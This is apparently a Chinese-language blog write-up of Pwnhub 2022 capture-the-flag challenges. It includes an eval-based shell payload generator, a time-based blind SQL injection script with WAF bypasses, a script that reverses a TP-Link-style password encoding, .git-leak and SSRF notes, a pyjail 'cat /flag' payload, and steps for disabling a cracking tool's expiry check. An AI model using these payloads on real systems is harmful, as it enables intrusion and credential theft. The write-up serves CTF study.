Pwnhub 2022

Web

Calc

  • 过滤 +,利用全角英文绕过
  • 后台将以eval执行,生成shell
# open(bytes((47,102,108,97,103)).decode()).read()

## shell 生成,正常输入payload
shell = f"__import__('os').popen('{input()}').read()"
shell = ','.join([str(ord(i)) for i in shell])
a = f'eval(bytes(({shell})).decode())'
b = list('abcdefghijklmnopqrstuvwxyz')
c = list('abcdefghijklmnopqrstuvwxyz')
assert len(b) == len(c)
for i in range(len(c)):
    a = a.replace(c[i], b[i])
print(a)

reset

题解

  • .git 泄露获取文件
  • 学习得知.git文件结构,主要内容分布在objects文件夹
    • https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
  • 写脚本
import zlib 
import os
import re

dirs = os.listdir()
for dir in dirs:
    if os.path.isdir(dir):
        files = os.listdir(dir)
        for f in files:
            with open(os.path.join(dir, f), 'rb') as a:
                data = zlib.decompress(a.read())
                if data:
                    with open(f, 'wb') as b:
                        b.write(data)
  • git大致结构
  • 一共两个版本,得到两个主要文件reset.phpupload.php
  • reset.php关键代码
<?php
if (isset($_POST['id'])){
    $id = $_POST['id'];
    preg_match('/^[a-z0-9]{40}$/', $id) or die('Invalid commit id!');
    system("git reset --hard $id");
}
>
  • upload.php关键代码
<?php
if (isset($_FILES['files'])){
    $fileType = $_FILES['file']['type'];
    $fileName = $_POST['filename'] ?? 'none';
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    $whitelist = array("image/gif", "image/png", "image/jpeg", "iamge/jpg");
    # check type, size, error
    in_array($fileType, $whitelist) or die("Invalid file!1");
    $size < 20000 or die("Invalid fize!2");
    $error > 0 and die($error);

    # check filename
    preg_match('/[a-zA-Z0-9_]{10,}$/', $filename) or die("Invalid file type!");
    if (! move_uploadedFile($_FILES["file"]["tmp_name"], "./upload/", $fileName)){
        die("Invaild failed.");
    }
    echo 'saved-> '.$fileName."\n";
}
>
  • reset.php就是回退某个版本,upload.php为文件上传

login

题解

  • sql注入,得到用户名,密码,存在waf
str_replace(' ', '', $username);
str_replace('#', '', $username);
str_replace('-', '', $username);
str_replace('*', '', $username);

xadmin  r7cVwbhc9TefbwK
  • 发包,得到提示,解出pwd明文,password.php
  • /web-static/js/su/su.js,查看加密流程
  • 简单分析和搜索可以发现,这个加密代码其实是tplink的加密代码
def orgAuthPwd(pwd):
    strDe = "RDpbLfCPsJZ7fiv"
    dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+\
    "TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+\
    "wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+\
    "sfQ1xtXcPcf1aT303wAQhv66qzW"
    return securityEncode(pwd, strDe, dic)
def securityEncode(input1, input2, input3):
    dictionary = input3
    output = ""
    cl = 0xBB
    cr = 0xBB
    len1 = len(input1)
    len2 = len(input2)
    lenDict = len(dictionary)
    length = max(len1,len2)
    for index in range(0,length):
        cl = 0xBB
        cr = 0xBB
        if (index >= len1):
            cr = ord(input2[index])
        elif (index >= len2):
            cl = ord(input1[index])
        else:
            cl = ord(input1[index])
            cr = ord(input2[index])
        output += dictionary[(cl ^ cr)%lenDict]
    return output
  • 简单分析下可以发现,这个加密存在缺陷,会出现严重的碰撞问题,跑⼀下5位纯数字
发现111110个明⽂对应73010个密⽂,仅仅是纯数字就有⽐较严重的碰撞问题
跑⼀下4位数字⼤⼩写字⺟
更严重了,1400w明⽂只能对应177w密⽂
由于不知道明⽂位数所以也不太好直接爆破
那么开始写逆向函数,由于不知道密码位数,我们分析可以发现⻓度超出密码明⽂部分的结果只与
strDe[i]及pwd[-1]有关,那么我们只需要爆破猜测⻓度写出逆向脚本即可
  • 当测试⻓度为6时没有符合的结果,由于前端提示,⻓度也⾄少是5位,所以密码明⽂⻓度为5,接下来爆破即可
def orgAuthPwd(pwd):
    strDe = "RDpbLfCPsJZ7fiv"
    dic =
    "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+\
    "TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+\
    "wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+\
    "sfQ1xtXcPcf1aT303wAQhv66qzW"
    return securityEncode(pwd, strDe, dic)
def securityEncode(input1, input2, input3):
    dictionary = input3
    output = ""
    cl = 0xBB
    cr = 0xBB
    len1 = len(input1)
    len2 = len(input2)
    lenDict = len(dictionary)
    length = max(len1,len2)
    for index in range(0,length):
        cl = 0xBB
        cr = 0xBB
        if (index >= len1):
            cr = ord(input2[index])
        elif (index >= len2):
            cl = ord(input1[index])
        else:
            cl = ord(input1[index])
            cr = ord(input2[index])
        output += dictionary[(cl ^ cr)%lenDict];
    return output;
def revese(pwd,length):
    ll=[]
    import re
    import string
    strDe = "RDpbLfCPsJZ7fiv"
    dic =
    "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+\
    "TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+\
    "wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+\
    "sfQ1xtXcPcf1aT303wAQhv66qzW"
    for i in range(len(pwd)):
        l=[]
        r=re.findall(pwd[i],dic)
        x=0
        if i<length:
            for j in range(len(r)):
                x=dic.index(pwd[i],x+1)
                c=chr(x^ord(strDe[i]))
                if c in string.printable:
                    l.append(c)
        else:
            for j in range(len(r)):
                x=dic.index(pwd[i],x+1)
                c=chr(x^0xbb)
                if c in string.printable:
                    l.append(c)
        ll.append(l)
    return ll
import time
import requests
url='http://47.97.127.1:23840/'
flag=''
for i in range(1,16):
    left=33
    right=128
    while right-left!=1:
        mid=int((left+right)/2)
        json ={
        "method":"do",
        "login":{
        "username":"0\"^if((substr((select{space}binary{space}password{space}from{space}user),{i},1)>binary{space}{mid}),sleep(1),0);\0".format(i=i,mid=hex(mid), space=chr(9)),"password":"12345" }}
        t1=time.time()
        r=requests.post(url=url,json=json,) #proxies={'http':'http://127.0.0.1:8080'}
        print(r.content)
        t2=time.time()
        if t2-t1 >1:
            left=mid
        else:
            right=mid
    flag+=chr(right)
    print(flag)
flag='r7cVwbhc9TefbwK'
k=revese(flag,5)
print(k)
max_depth=5
p=[]
def ddp(s,depth):
    global k
    global max_depth
    if depth == max_depth:
        p.append(s)
        return
    for i in k[depth]:
        ddp(s+i,depth+1)
ddp('',0)
for i in p:
    print(i)
    print(requests.get(url=url+'/password.php?password='+i).content)

ssrfme

  • 扫目录得到源代码
  • 重定向请求没有过滤,用file读取文件,读flag失败
  • 利用gopher探测服务,6379 redis没开,打mysql
  • 执行readflag获取flag

sql

题解

Misc

空头之王

题解

  • Airdrop取证,盘古石可以直接秒
  • hash爆破手机号

证书里也有秘密

题解

  • 找到项目
    • https://github.com/Lz1y/xrayhex-crack
  • 下载后修改main.go源代码,将以下代码注释,用-p证书即可解析证书,第二个参数即为user_id
validTime, _ := time.Parse("2006-01-02 15:04:05", "2021-01-01 00:00:00")
nowTime := time.Now()
if nowTime.After(validTime) {
    panic("本工具已失效")
}

飞驰人生

题解

  • 配置重放的环境,基于ubuntu
    • https://www.anquanke.com/post/id/209141#h2-17
    • https://github.com/zombieCraig/ICSim
  • 发现存在攻击行为
    • 速度暴涨
    • 锁车门
244#000000A60000
19B#00000F000000

坐井观天

题解

  • 简单的pyjail
eval(input())
__import__('os').popen('cat /flag').read()

Crypto

ALL

题解

  • From 冰神
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇